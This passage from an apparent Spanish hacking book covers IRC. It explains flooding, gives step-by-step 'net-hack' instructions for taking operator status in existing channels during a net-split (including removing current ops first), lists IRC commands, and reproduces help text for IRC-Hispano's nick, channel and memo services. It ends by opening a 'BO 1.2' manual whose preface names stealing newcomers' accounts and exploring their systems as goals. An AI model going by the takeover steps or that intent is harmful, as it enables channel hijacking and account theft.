Hoy en día, el flood es un ataque demasiado clasico pero eficiente, es por ello que tanto los programas clientes de IRC como los scripts implementan protecciones anti-flood que dificultan enormemente el éxito de un ataque de este tipo. Por ejemplo, cuando detectan varias peticiones seguidas mandan las respuestas espaciadas en el tiempo (con pausas) y no inmediatamente, con lo cual se evita el flood. Otra forma de evitarlo es cuando se detecta varias peticiones de un usuario, a este se lo ignora por un determinado tiempo.

OP gratis

Conseguir op sin que nadie te lo de: Cuando alguien se une a un canal donde no hay nadie (hace un /join #canal) el servidor supone que se trata de un nuevo canal y le da op a dicho usuario. Se dice que ha creado un canal. Vamos a aprovechar esto para hacernos con el op en un canal ya existente. ¿Cómo? Fácil: solo hay que aprovechar un net-split. Los pasos serían los siguientes:

* Esperar un split (lo podemos detectar con un link-looker). * Entrar (conectar) al servidor spliteado. - /join #canal (donde canal es el canal donde queremos conseguir op). * El server creará un nuevo canal y tendrás el op. * Esperar a que se deshaga el split.

Page 64: El Libro Negro Del Hacker2

64

Si "hay suerte" (leer más abajo), al deshacerse el split conservaremos el op en los restantes servidores (el servidor spliteado se encarga de dar las órdenes correspondientes). Entonces se dice que hemos llevado a cabo un "net-hack". Los usuarios presentes en el canal en el que hemos llevado a cabo la acción verán algo como:

[1:41] *** irc.i3d.es sets mode: +o [-Mother-][-Fucker-] (donde el servidor que nos da op es el que antes estaba spliteado).

Esto no siempre funcionará porque hay aspectos que todavía no he comentado. Paso a explicar el procedimiento y comentar algunos puntos negros. Supongo que habréis comprendido el procedimiento; es muy simple: aprovechar que el servidor spliteado no ve a los usuarios de otros servidores y por tanto al canal previamente creado. Esto presupone que no hay usuarios del servidor spliteado en el canal (en este caso no funcionaría) ya que al entrar nosotros por el server spliteado veríamos al canal como ya creado, con los usuarios de nuestro mismo servidor (a los otros los "esconde" el split) y por tanto el server no nos dará el op, como es habitual al entrar en cualquier canal ya existente.

También hay que tener en cuenta que actualmente todos los servidores tienen protecciones anti-nethack. En este caso, al deshacerse el split, los restantes servidores te quitarán el op a tí en vez de ser al contrario (imponer tu op en los restantes servers), protegiendo al canal PERO ésto lo harán únicamente en caso de que ya hubiera ops en el canal antes de tu intento de net-hack (aunque hay veces en que el server se equivoca y mantiene tu op, quitándoselo a los demás). Es decir, que el net-hack funcionará sólo para canales donde no haya op ("opless channels"). Por esta razón, si queremos el op, necesitaremos tirar previamente a los ops para luego llevar a cabo el net-hack. Para concluir, son pocas la posibilidades de lograr el proposito con exito, pero vale la pena intentarlo, ya que te puedes imaginar lo que podes llegar hacer con un op en un canal como Argentina.

Algunos comandos...

Entrar a un canal: /join #(canal) Entrar a un canal sabiendo la host o la owner: /join #(canal) (key) Salir del IRC:/quit Salir del IRC con mensaje: /quit (mensaje) Access a un canal: /access #(canal) add host (nick) Borrar todos los access: /access #(canal) clear Borrar el access de una persona: /access #(canal) del host (nick) *!* Todas la personas que entren tengan op: /access #(canal) add host * Agregar owner: /access #(canal) add onwer (nick) Cuando aguien entre que halla un mensaje: /prop #(canal) onjoin : (mensaje) Cuando alguien salga que halla un mensaje: /prop #(canal) onquit : (mensaje) Deopear a alguien: /mode #(canal) o- (nick) (tambien podes deopear a muchos haciendo esto: /mode #(canal) ooo- (nick) (nick) (nick) Opear alguien: lo mismo que el deop pero o+ Banear a alguien: /mode #(canal) +b (nick, host o su ip) Desbanear a alguien: lo mismo que banear pero b- Ver el topic del canal donde estas: /topic

Page 65: El Libro Negro Del Hacker2

65

Ver topic de cualquier canal: /topic #(canal) Ver la ip de alguien: /dns (nick) Decir un mensaje a todo el canal y a los que estan en privado tambien: /me (mensaje) Ver info de alguien: /whois (nick) Pingear a alguien: /ping (nick) Colores: (cuando pongas ctrl+k te va a aparecer una barra con muchos colores y arriba de los colores numeros)lo que tenes que hacer es poner ctrl+k y poner el numero que quieras.... si lo queres con fondo y letra de color apreta ctrl+k y el numero,y despues pone un coma al lado y el otro numero,el primer numero es el fondo y el otro el color de la letra. Subrayado:ctrl+u Ver quien esta en un canal sin estar en el: /names #(canal) Cambiarte de nick : /nick (nick)

Espero que les halla gustado,como ven una lista con estos comandos es dificil de conseguir, yo hice una, mucho no me costo, pero faltan muchos cosas mas como sacar un ip aleatoria del canal,el comando whowas y muchas cosas mas, esta lista la hice porque no sabia que poner, J

Comandos de los bots del IRC-Hispano

CHAN / NICK / MEMO

Bot de Nombres: NICK

/msg NiCK HELP comando.

REGISTER Registra un nick IDENTIFY Identificarse con su contraseña ACCESS Modificar la lista de direcciones autorizadas LINK Hacer su nick un alias de otro SET Ajustar opciones, incluyendo protección de kill DROP Cancela el registro de un nick RECOVER Desconecta a otro usuario que esta usando tu nick RELEASE Toma custodia de su nick después de utilizar el comando RECOVER

Otros comandos: UNLINK, GHOST, INFO, LIST, STATUS

Sintaxis: REGISTER contraseña

Registra su nick la base de datos de NiCK. Una vez registrado su nick, usted pude utilizar los comandos SET y ACCESS para configurar los parámetros de su nick como usted los desee. Asegúrese de recordar la contraseña que utilizo para registrarse--la necesitara para

Page 66: El Libro Negro Del Hacker2

66

hacer cambios a su nick posteriormente. (Nótese que las mayúsculas importan FIDO, Fido, y fido son diferentes todas!)

Sugerencias para escoger una contraseña:

Contraseñas no deben ser fácil de adivinar. Por ejemplo, usar su verdadero nombre como contraseña es una mala idea. Utilizar su nick como contraseña es una idea peor ;) y, por supuesto que, NiCK no lo permitirá. También, contraseñas cortas son vulnerables a búsquedas de prueba y error, por lo que usted debe escoger una contraseña de por lo menos 5 caracteres. Finalmente, el carácter de "espacio" no se puede utilizar en contraseñas.

Sintaxis: IDENTIFY contraseña

Notifica a NiCK que usted es el verdadero dueño de este nick. Muchos de los comandos requieren que usted se identifique con este comando antes de poder utilizarlos. La contraseña debe ser la misma que utilizo con el comando REGISTER.

Sintaxis: ACCESS ADD mascara ACCESS DEL mascara ACCESS LIST

Modifica o muestra la lista de acceso para su nick. Esta es la lista de direcciones que NiCK reconocerá automáticamente como validas para utilizar este nick. Si desea utilizar este nick desde otra dirección, necesita enviar el comando IDENTIFY para que NiCK lo reconozca a usted.

Ejemplos:

ACCESS ADD achurch@*.dragonfire.net Permite el acceso al usuario achurch de cualquier computadora en el dominio dragonfire.net.

ACCESS DEL achurch@*.dragonfire.net Hace lo contrario de el comando anterior.

ACCESS LIST Muestra la lista de acceso.

Sintaxis: LINK nick contraseña

Page 67: El Libro Negro Del Hacker2

67

Liga su nick a otro, haciendo efectivamente un alias para el nick que usted utiliza actualmente con otro nick especificado. Cuando usted utiliza este comando, la lista de acceso de el nick que tiene es eliminada y reemplazada por la del nick con la que usted hace la liga; todos los mensajes para el nick actual son agregados a la lista de mensajes de el nick a ligar (esto puede causar que el nick se exceda en su limite de mensajes, en este caso necesitara borrar algunos de los mensajes antes de poder recibir nuevos mensajes para cualquiera de ambos nicks).

Unas vez establecida la liga, su nick sera convertido transparentemente a el nick nuevo en todas las bases de datos de Services, excepto para los comandos NiCK UNLINK y DROP. Por ejemplo, puede utilizar cualquiera de los nicks para leer los mismos mensajes (y los mensajes que se envían a cualquier de los nicks irán a la misma lista). Si se identifica para un nick, automáticamente se identificara para el otro. Si cualquiera de ambos nicks esta en la lista de acceso de un canal, ambos nicks tendrán los mismos privilegios y accesos.

Para utilizar este comando, usted debe de identificarse para su nick actual (usando el comando IDENTIFY), y debe proporcionar la contraseña para el nick al que desea ligar.

Sintaxis: UNLINK

Elimina la liga de su nick hacia otro. Cuando la liga se elimina, los modos de un nick y la lista de acceso de el nick previamente ligado son copiados a su nick actual y pueden ser modificados independientemente. Mensajes no son copiados; todos los mensajes permanecen con el nick previamente ligado.

Sintaxis: SET opción parámetros

Ajusta varios parámetros del nick. Una opción puede ser:

PASSWORD Ajusta la contraseña de su nick LANGUAGE Ajusta el lenguaje que Services utilizara cuando envié mensajes a usted URL Asocia un URL con su nick EMAIL Asocia una dirección de E-mail con su nick KILL Activa/desactiva la protección de kill SECURE Activa/desactiva el modo SECURE para su nick PRIVATE Evita que su nick aparezca en /msg NiCK LIST HIDE Esconde ciertas informaciones sobre su nick

Para utilizar este comando es necesario identificarse antes con su contraseña (/msg NiCK HELP IDENTIFY para mayor información).

Page 68: El Libro Negro Del Hacker2

68

Escriba /msg NiCK HELP SET opción para mayor información sobre una opción especifica.

Sintaxis: SET PASSWORD nueva-contraseña

Cambia la contraseña que utiliza para identificarse como el dueño de el nick.

Sintaxis: SET LANGUAGE numero

Cambia el lenguaje que Services utiliza cuando envía mensajes a usted (por ejemplo cuando responde a un comando que usted envió). numero debe ser escogido de la siguiente lista de lenguajes soportados:

1) English 2) ÆüËܸì¡ÊEUC¥³¡¼¥É¡Ë (Japanese / EUC encoding) 3) $BF|K\8l!J (BJIS $B%3!I!K (B (Japanese / JIS encoding) 4) "ú-{Œê �iSJISƒR�[ƒh�j (Japanese / SJIS encoding) 5) Portugues (Portuguese) 6) Español (Spanish) 7) Turkce (Turkish)

Sintaxis: SET URL url

Asocia un URL dado con su nick. Este URL sera mostrado cuando solicite información de su nick con el comando INFO.

Sintaxis: SET EMAIL dirección

Asocia la dirección de E-mail dada con su nick. Esta dirección sera mostrada cuando alguien solicite información sobre su nick con el comando INFO.

Sintaxis: SET KILL {ON | QUICK | IMMED | OFF}

Activa/desactiva la protección de kill para su nick. Con protección de kill activada, si algún otro usuario intenta utilizar tu nick, se le dará un minuto para que cambie a otro, si no sera removido forzosamente de IRC por NiCK.

Page 69: El Libro Negro Del Hacker2

69

Si seleccione QUICK, el usuario solo tendrá 20 segundos para cambiar de nick en lugar de lo usual (60 segundos). Si seleccione IMMED, el usuario sera desconetcado (kill) inmediatamente sin ser avisado primero o darle una oportunidad de cambiar de nick, favor de no utilizar esta opción a menos que sea verdaderamente necesario. Los Administradores de la red pueden haber deshabilitado esta opción.

Sintaxis: SET SECURE {ON | OFF}

Activa/desactiva las funciones de seguridad de NiCK para su nick. Con SECURE activado, usted debe de enviar su contraseña antes de que se le reconozca como el dueño de el nick, sin importar si su dirección este o no en la lista de acceso. Sin embargo, si aparece en la lista de acceso, NiCK no lo desconectara automáticamente, independientemente de como este la opción de KILL.

Sintaxis: SET PRIVATE {ON | OFF}

Activa/desactiva la opción privacidad de NiCK sobre su nick. Con PRIVATE activado, su nick no aparecerá en las listas de nicks generadas con el comando NiCK LIST. (Sin embargo, cualquiera que conozca su nick puede obtener información usando el comando INFO.)

Sintaxis: SET HIDE {EMAIL | USERMASK | QUIT} {ON | OFF}

Permite que usted evite que ciertas informaciones sean mostradas cuando alguien usa el comando NiCK INFO en su nick. Usted puede esconder su E-mail (EMAIL), ultima mascara user@host (USERMASK), o su ultimo mensaje de salida (QUIT). El segundo parámetro specifica cual información debe ser mostrada (OFF) o escondida (ON).

Sintaxis: DROP

Elimina su nick de la base de datos de NiCK. Un nick que ha sido eliminado esta disponible para que cualquier persona lo vuelva a registrar.

Para utilizar este comando , usted tiene que identificarse con su contraseña (/msg NiCK HELP IDENTIFY para mayor información).

Page 70: El Libro Negro Del Hacker2

70

Sintaxis: RECOVER nick [contraseña]

Permite que usted recupere su nick si alguien mas lo ha tomado; esto es lo mismo que NiCK hace automáticamente si alguien intenta utilizar un nick protegido con kill.

Cuando usted envía este comando, NiCK conectara en línea a un usuario falso con el mismo nick que el usuario que usted desea recuperar. Esto causara que los servidores de IRC desconecten al otro usuario. El usuario falso permanecerá en línea por un minuto para asegurar que el otro usuario no se reconecte inmediatamente; después de ese minuto, usted puede tomar su nick. Alternativamente, use el comando RELEASE (/msg NiCK HELP RELEASE) para obtener su nick mas rápido.

Para usar el comando RECOVER para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick.

Sintaxis: RELEASE nick [contraseña]

Ordena a NiCK eliminar cualquier espera en su nick causada por un kill automático de protección o por el uso de el comando RECOVER. Por default, la espera dura un minuto; este comando lo libera mas rápidamente.

Para usar el comando RELEASE para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick.

Sintaxis: GHOST nick [contraseña]

Elimina una sesión "fantasma" de IRC que este utilizando su nick. Una sesión "fantasma" es aquella que no esta realmente conectada, pero que un servidor de IRC acredita como activa por cualquier razón. Típicamente esto sucede si su computadora se atora o su conexión a Internet se desconecta por un periodo corto mientras esta en IRC.

Para usar el comando GHOST para un nick, su dirección actual como se muestra en un /WHOIS debe de estar en la lista de acceso de el nick, o usted debe de proporcionar la contraseña correcta para el nick.

Sintaxis: INFO nick

Page 71: El Libro Negro Del Hacker2

71

Muestra información sobre un nick dado, como el quien es el dueño, ultima dirección utilizada y hora, y las diferentes opciones del nick.

Sintaxis: LIST patrón

Lista todos los nicks registrados que concuerdan con un patrón dado en formato nick!user@host. Nicks con la opción de PRIVATE activada no serán mostrados.

Ejemplos:

LIST *[email protected] Lista los nicks registrados por [email protected].

LIST *Bot*!*@* Lista todos los nicks registrados que contenga Bot en su nombre (no importa mayúsculas).

LIST *!*@*.bar.org Lista todos los nicks registrados por usuarios del dominio bar.org.

. Sintaxis: STATUS nick...

Informa si el usuario de un nick es reconocido como el dueño de el mismo. La respuesta tiene el siguiente formato:

nick código-de-status

donde nick es el nick enviado con el comando, código-de-status es uno de los siguientes:

0 - usuario no esta conectado o nick no esta registrado 1 - usuario no reconocido como dueño del nick 2 - usuario reconocido por la lista de acceso solamente 3 - usuario reconocido por identificación con contraseña

Hasta 16 nicks pueden ser enviados con cada comando; el resto serán ignorados. No se genera mensaje de error si no se envía nick.

Bot de Canales: CHAN

CHaN habilita a registrar y controlar varios aspectos de los canales. CHaN puede prevenir que usuarios malintencionados puedan "tomar" el control limitando a quién se permite privilegios de operador del canal. Los comandos disponibles son los siguientes. Para utilizarlos, escriba /msg CHaN comando. Para obtener mas información de un comando específico, escriba /msg CHaN HELP comando.

Page 72: El Libro Negro Del Hacker2

72

REGISTER Registra un canal IDENTIFY Para identificarse como fundador del canal SET Fija opciones e información del canal ACCESS Modifica la lista de usuarios privilegiados LEVELS Redefine los niveles de accesos AKICK Mantiene la lista de Auto-Kick DROP Cancela la registración de un canal

Otros comandos: INFO, LIST, INVITE, OP, DEOP, UNBAN, CLEAR

Note que si un canal no es utilizado por 14 días (es decir qué ningún usuario en la lista de acceso del canal entra en ese periodo de tiempo) será automáticamente cancelado.

Sintaxis: REGISTER canal contraseña descripción

Registra un nuevo canal en la base de datos de CHaN. Para poder utilizar este comando, usted primero debe ser operador del canal que está tratando de registrar (1). La contraseña deberá ser utilizado con el comando IDENTIFY cuando necesite hacer modificaciones posteriores a opciones del canal. El último parámetro, que debe ser incluido, es una descripción de los propósitos del canal.

Cuando usted registra un canal, usted queda registrado como el "fundador" del canal. El fundador de un canal puede modificar cualquiera de las opciones de un canal (excepto el nombre mismo del canal); CHaN le dará automáticamente privilegio de operador al fundador del canal cuando el/ella ingresen al canal. Vea el comando ACCESS (/msg CHaN HELP ACCESS) para obtener información de como dar privilegio de operadores a otros usuarios del canal.

(1) AVISO: para poder registrar un canal, su nick debe estar registrado. Si aún no lo registró, escriba /msg NiCK HELP para obtener información de cómo hacerlo.

Sintaxis: IDENTIFY canal contraseña

Este comando, lo identifica a usted ante CHaN como el fundador del canal. Muchos comandos requieren que usted utilice ESTE comando antes de poder utilizarlos. La contraseña debe ser el mismo que se ingresó al momento de registrar el canal (comando REGISTER).

Sintaxis: SET canal opción parámetros

Page 73: El Libro Negro Del Hacker2

73

Habilita al fundador del canal a definir varias opciones y otra información. El fundador, debe identificarse vía comando IDENTIFY antes de utilizar SET.

Opciones disponibles:

FOUNDER Cambia el fundador del canal PASSWORD Cambia la contraseña del fundador DESC Cambia la descripción del canal URL Asocia una URL al canal EMAIL Asocia una dirección de correo al canal ENTRYMSG Fija un mensaje que será mostrado a los usuarios cuando entren al canal TOPIC Cambia el Tema del canal KEEPTOPIC Retiene el tema (topic) cuando el canal no está en uso TOPICLOCK El Tema SOLO podrá ser cambiado vía SET TOPIC MLOCK Fija los modos del canal en 'ON' u 'OFF' PRIVATE Oculta el canal (no se ve cuando se utiliza el comando LIST) RESTRICTED Restringe el acceso al canal SECURE Activa los rasgos de seguridad de ChaN SECUREOPS Control estricto de Status de operador

Escriba /msg CHaN HELP opción para obtener mas información de una opción en particular.

Sintaxis: SET canal FOUNDER nick

Cambia el fundador del canal. El nick dado, que será el nuevo fundador del canal, debe estar registrado.

Sintaxis: SET canal PASSWORD contraseña

Se utiliza para definir la contraseña que será utilizado para identificarse como el fundador del canal.

Sintaxis: SET canal DESC descripción

Fija la descripción del canal, la cual será mostrada cuando se utilicen los comandos LIST e INFO. Sea breve y concreto.

Page 74: El Libro Negro Del Hacker2

74

Sintaxis: SET canal URL [url]

Asocia una URL al canal, la cual será visualizada cuando se solicite información del canal (vía comando INFO). Habitualmente se utiliza para indicar la dirección de la página web del canal. Si no se ingresa ninguna url, se borrará la que tenga actualmente el canal.

Sintaxis: SET canal EMAIL [dirección]

Asocia la dirección de correo dada al canal. Esta dirección será mostrada cuando alguien solicite (vía comando INFO) información del canal. Es muy útil, por ejemplo, para que los usuarios tengan una vía de comunicación con el fundador y/u operadores del canal. Si no se proporciona una dirección de correo, se eliminará la que actualmente pueda tener el canal.

Sintaxis: SET canal ENTRYMSG [mensaje]

Establece el mensaje que será enviado a los usuarios (vía /notice) cuando ellos ingresen al canal. Si mensaje no se ingresa, nada será enviado a los usuarios cuando ingresen.

Sintaxis: SET canal TOPIC texto

Causa que CHaN fije el tema del canal al indicado en texto. Esta orden es muy útil en conjunción con SET TOPICLOCK.

Sintaxis: SET canal KEEPTOPIC {ON | OFF}

Habilita o deshabilita la opción de retención del tema para el canal. Cuando retención del tema está en ON (habilitada), el tema del canal será recordado por CHaN aún después que el último usuario se haya retirado, y se restaurará la próxima vez que alguien ingrese al canal.

Sintaxis: SET canal TOPICLOCK {ON | OFF}

Page 75: El Libro Negro Del Hacker2

75

Habilita o deshabilita la opción para trabar el tópico del canal. Cuando trabar el tópico está en ON, CHaN no habilitará el cambio del tema (tópico) excepto vía SET TOPIC.

Sintaxis: SET canal MLOCK modos

Fija los distintos modos para el canal. CHaN lo habilita a usted para definir determinados modos del canal y que queden siempre habilitados (o no). Los modos que pueden ser fijados son: i, k, l, m, n, p, s, y t; cada uno de estos modos puede estar activado (ON), desactivado (OFF) o no fijado. Los distintos modos se indican exactamente como si se utilizase el comando /MODE; esto es, modo seguido de + indica activado (ON), modo seguido de - indica desactivado (OFF).

Cuidado!: Si usted fija un modo protegido por contraseña, como en el segundo ejemplo, también deberá fijar la opción RESTRICTED para el canal (vea HELP SET RESTRICTED), o cualquiera que ingrese al canal cuando el mismo esté vacío, verá la contraseña!!

Ejemplos:

SET #canal MLOCK +nt-iklps Activa los modos n y t, y desactiva los modos i, k, l, p, y s. El modo m puede ser activado o desactivado.

SET #canal MLOCK +knst-ilmp my-key Activa los modos k, n, s, y t. Desactiva los modos i, l, m, y p. También establece "my-key" como la contraseña del canal.

SET #canal MLOCK + Elimina los modos activos; todos los modos del canal pueden ser libremente activados o desactivados.

>>>>>> No ayuda disponible para set private. <<<<<<

Sintaxis: SET canal RESTRICTED {ON | OFF}

Habilita o deshabilita la opción de acceso restringido para el canal. Cuando el acceso restringido está activo (ON), usuarios que normalmente no tienen privilegio de operadores cuando entran al canal (usuarios con nivel de acceso negativo y, si secure ops está activada, usuarios que NO están en la lista de acceso) serán expulsados (y se les prohibirá el acceso) al canal.

Page 76: El Libro Negro Del Hacker2

76

Sintaxis: SET canal SECURE {ON | OFF}

Habilita o deshabilita la seguridad de CHaN para el canal. Cuando SECURE está ACTIVO, SOLO los usuarios que tienen registrado sus nicks con NiCK y se han IDENTIFICADO con sus respectivas contraseñas tendrán acceso al canal si es que figuran en la lista de ACCESS.

Sintaxis: SET canal SECUREOPS {ON | OFF}

Habilita o deshabilita la opción de operadores seguros para el canal. Cuando operadores seguros está activada (ON), usuarios que NO estén en la lista de usuarios del canal NO podrán obtener status de operadores

Sintaxis: ACCESS canal ADD nick nivel ACCESS canal DEL {nick | posición-numero} ACCESS canal LIST [mask]

Mantiene la lista de accesos del canal. La lista de accesos establece que usuarios están habilitados a ser operadores del canal o acceder a comandos de CHaN en el canal. Se pueden establecer diferentes niveles de usuarios para acceder a diferentes privilegios; utilice /msg CHaN HELP ACCESS LEVELS para obtener información mas específica. Cualquier nick que no esté en la lista de acceso tiene nivel de usuario 0 (cero).

El comando ACCESS ADD agrega al nick con el nivel dado a la lista de acceso; si el usuario ya existe en la lista, se reemplazará su nivel. El nivel especificado debe ser menor que el que tiene el usuario que está ingresando el comando, y si el nick está actualmente en la lista, el nivel actual de dicho nick debe ser menor que el nivel del usuario que está ingresando el comando.

El comando ACCESS DEL elimina un usuario de la lista de accesos. Se puede eliminar un usuario ingresando el nick o ingresando el número que ocupa en la lista de accesos.

El comando ACCESS LIST muestra la lista de accesos al canal; se pueden utilizar caracteres comodines o mascaras, en cuyo caso solo las coincidencias concurrentes serán listadas.

Niveles de acceso para usuarios

Por defecto, los siguientes niveles son definidos:

Page 77: El Libro Negro Del Hacker2

77

Founder Acceso FULL a las funciones de CHaN. Note que únicamente una sola persona puede tener acceso de fundador del canal (no se puede dar acceso de founder con el comando ACCESS).

10 Acceso al comando AKICK; operador automático al ingresar. 5 Operador automático al ingresar. 3 Estado de VOZ automático (+v).

0 No tiene privilegios especiales; puede obtener status de operador dado por otro operador (a menos que secure-ops esté activado).

menos que 0 No puede ser operador.

Estos niveles pueden ser cambiados, o nuevos pueden ser agregados utilizando el comando LEVELS; escriba /msg CHaN HELP LEVELS para información.

Sintaxis: LEVELS canal SET tipo nivel LEVELS canal {DIS | DISABLE} tipo LEVELS canal LIST LEVELS canal RESET

El comando LEVELS permite un control fino sobre los accesos numéricos utilizados por los canales. Con este comando, usted puede definir los niveles requeridos para muchas de las funciones de CHaN. Los comandos SET FOUNDER, SET PASSWORD, así como éste comando están siempre restringidos al fundador.

LEVELS SET habilita el acceso para una función o grupo de funciones a ser modificadas.

LEVELS DISABLE (o DIS en forma abreviada) deshabilita un privilegio automático, o deshabilita el acceso para cualquier otro que no sea el fundador del canal.

LEVELS LIST muestra los niveles actuales para cada función o grupo de funciones.

LEVELS RESET vuelve todos los niveles a sus valores por defecto, los mismos que cuando se registra por primera vez un canal (vea HELP ACCESS LEVELS).

Para una lista de las funciones que pueden ser establecidas, utilice el comando HELP LEVELS DESC.

La siguiente lista muestra los valores/funciones por defecto. Note que los niveles para AUTODEOP y NOJOIN son los máximos niveles, mientras que todos los demás, son los mínimos.

Page 78: El Libro Negro Del Hacker2

78

AUTOOP Status de operador de canal automático AUTOVOICE Modo +v automático AUTODEOP No puede ser operador de canal NOJOIN No puede entrar a canal si esta en modo restringido (RESTRICTED) INVITE Permitido a usar comando INVITE AKICK Permitido a usar comando AKICK SET Permitido a usar comando SET (no siendo FUNDADOR) CLEAR Permitido a usar comando CLEAR UNBAN Permitido a usar comando UNBAN OPDEOP Permitido a usar comandos OP/DEOP ACC-LIST Permitido a ver lista de acceso ACC-CHANGE Permitido a modificar lista de acceso MEMO Permitido a ver mensajes del canal

Sintaxis: AKICK canal ADD mask [razón] AKICK canal DEL mask AKICK canal LIST [mask]

Definimos AKICK como "Expulsión automática". Definimos BAN como "Entrada prohibida".

Este comando, mantiene la lista de AKICK del canal. Si un usuario está en la lista de AKICK e intenta entrar al canal, CHaN automáticamente agrega dicho usuario a la lista BAN del canal, y luego lo expulsa del canal.

El comando AKICK ADD agrega un usuario a la lista de AKICK. Si una razón es dada con el comando, entonces la razón será utilizada por CHaN cuando expulse a dicho usuario; si no, el mensaje que se utilizará por defecto, es "You have been banned from the channel".

El comando AKICK DEL elimina al usuario de la lista de AKICK. Este comando no remueve el BAN que pueda existir en el canal, el cual deberá ser removido manualmente.

El comando AKICK LIST muestra la lista de usuarios en la lista de AKICK. Opcionalmente, solo lista aquellos suministrados con la mascara dada.

Sintaxis: DROP canal

Elimina el canal de la base de CHaN. Puede ser utilizado únicamente por el fundador del canal, quien deberá primeramente identificarse con el comando IDENTIFY.

Page 79: El Libro Negro Del Hacker2

79

Sintaxis: INFO canal

Provee información acerca del canal (o informa que no está registrado). Lista el fundador, hora y fecha de registración, última vez que se utilizó, descripción, y modos del canal (si los hubiese).

Sintaxis: LIST especificación

Lista todos los canales que coincidan con la especificación dada. Canales con la opción PRIVATE activada, no son listados.

Sintaxis: INVITE canal

Le dice a CHaN que lo invite a usted al canal indicado. Por defecto, solo funciona si su nivel de acceso en dicho canal es mayor que 0 (cero).

Sintaxis: OP #canal nick

Convierte en Operador al usuario indicado en el canal indicado. Por defecto, está limitado a quienes posean nivel 5 o mayor en el canal.

Sintaxis: DEOP #canal nick

Quita el estado de Operador al usuario indicado en el canal indicado. Por defecto, está limitado a quienes posean nivel 5 o mayor en el canal.

Sintaxis: UNBAN canal

Le dice a CHaN que elimine todos los accesos prohibidos previniendo su ingreso a dicho canal. Por defecto, solo funciona si su nivel de acceso en dicho canal es mayor que 0 (cero).

Sintaxis: CLEAR canal que

Page 80: El Libro Negro Del Hacker2

80

Le dice a CHaN que elimine ciertos parámetros del canal. que puede ser uno de los siguientes:

modes Resetea todos los modos del canal (ejemplo, limpia los modos i,k,l,m,n,p,s,t). bans Elimina todos los accesos prohibidos al canal. ops Elimina (quita) el privilegio de operador a todos los operadores (modo +o) del canal.

voices Elimina (quita) el privilegio de "voz" (modo +v) a cualquiera del canal que lo tuviese.

users Elimina (Patea -kicks-) TODOS los usuarios del canal.

Por defecto, su nivel de acceso en el canal debe ser al menos 10 (diez) para utilizar este comando.

Bot de mensajes: MEMO

MeMO es una utilidad que permite a usuarios de IRC enviar mensajes cortos a otros usuarios de IRC, independientemente de si están en línea o no, igualmente se puede enviar mensajes a canales(*). Ambos nicks (remitente y destinatario) deben de estar registrados, así mismo el canal debe de estar registrado si se desea enviar un mensaje a este.

Comandos de MeMO incluyen:

SEND Envía un mensaje a un nick/canal LIST Lista todos tus mensajes READ Lee un mensaje DEL Borra un mensaje (o todos) SET Define opciones relacionadas con mensajes

Escriba /msg MeMO HELP comando para ayuda mas especifica de los comandos arriba mencionados.

(*) Por default, cualquier usuario con al menos nivel 10 de acceso en un canal puede leer los mensajes de ese canal. Esto puede ser cambiado con el comando CHaN LEVELS.

Sintaxis: SEND nick memo-texto

Envía un memo al usuario especificado. Dicho usuario recibirá una noticia de que tiene un nuevo memo. Lo recibirá inmediatamente si se encuentra en línea, o si no al momento de identificarse la próxima vez que se conecte.

Ejemplo: /msg MeMO SEND joselito Muy bueno tu trabajo de traducción! ;)

Page 81: El Libro Negro Del Hacker2

81

Sintaxis: LIST [NEW]

Lista los memos que usted tenga actualmente. Si se indica el parámetro NEW, solo los nuevos memos (los no leídos) serán mostrados. Los memos no leídos están marcados con un "*" a la izquierda del numero de memo.

Sintaxis: READ {numero | LAST}

Muestra el contenido del memo indicado en numero, o el ultimo memo (por ejemplo, el recibido mas recientemente) si el parámetro LAST es dado EN VEZ DE numero.

Sintaxis: DEL {num[-num][,num...] | ALL}

Si un numero num es dado, elimina dicho memo. Usted puede reemplazar un único numero por un rango de números para eliminar múltiples memos simultáneamente, tal como se verá en el segundo ejemplo.

Si se ingresa ALL se eliminaran TODOS los memos.

Ejemplos:

DEL 1 Elimina su primer memo.

DEL 2-5,7-9 Elimina los memos 2 a 5 y 7 a 9.

Sintaxis: SET opción parámetros

Establece varias opciones para los memos. Las opciones pueden ser:

NOTIFY Establece CUANDO debe ser notificado de nuevos memos.

LIMIT Establece el MAXIMO numero de memos que usted puede recibir

Escriba /msg MeMO HELP SET opción para obtener mas información acerca de la opción específica.

Page 82: El Libro Negro Del Hacker2

82

Sintaxis: SET NOTIFY {ON | LOGON | NEW | OFF}

Establece CUANDO debe ser notificado de nuevos memos:

ON Será notificado cuando se conecte, cuando quite su modo /AWAY y cuando un memo le sea enviado estando usted conectado.

LOGON Será notificado únicamente cuando se conecte, y cuando quite su modo /AWAY. NEW Será notificado solamente cuando le sean enviados. OFF Usted no recibirá ningún tipo de notificación de memos.

ON es básicamente la combinación de LOGON y NEW simultáneamente.

Sintaxis: SET LIMIT [canal] limite

Establece el máximo numero de memos que usted está habilitado a tener. Si establece limite a 0 (cero) nadie podrá enviarle memos a usted.

MANUAL DE BO 1.2 CASTELLANO Version 2.1 ReSeT Productions PARTE I Prefacio. Este manual está orientado para sacar el máximo partido al BO. No obstante, uno debe tener claro, qué es lo que realmente pretende violando sistemas remotos de los nuevos venidos al mundo de inet. El usuario de BO puede pretender: - Obtener + Cuentas de conex y de servicios a red. - Explorar sistemas remotos (aunque haya poco k explorar XDDD) - Usar el nodo de conex del lamer para otros fines. - Para reirse y pasar un rato divertido a costa del lamer. ******************************************************************************** 1) OBTENER + CUENTAS DE CONEXIÓN Y SERVICIOS A RED. ********************************************************************************

Page 83: El Libro Negro Del Hacker2

83

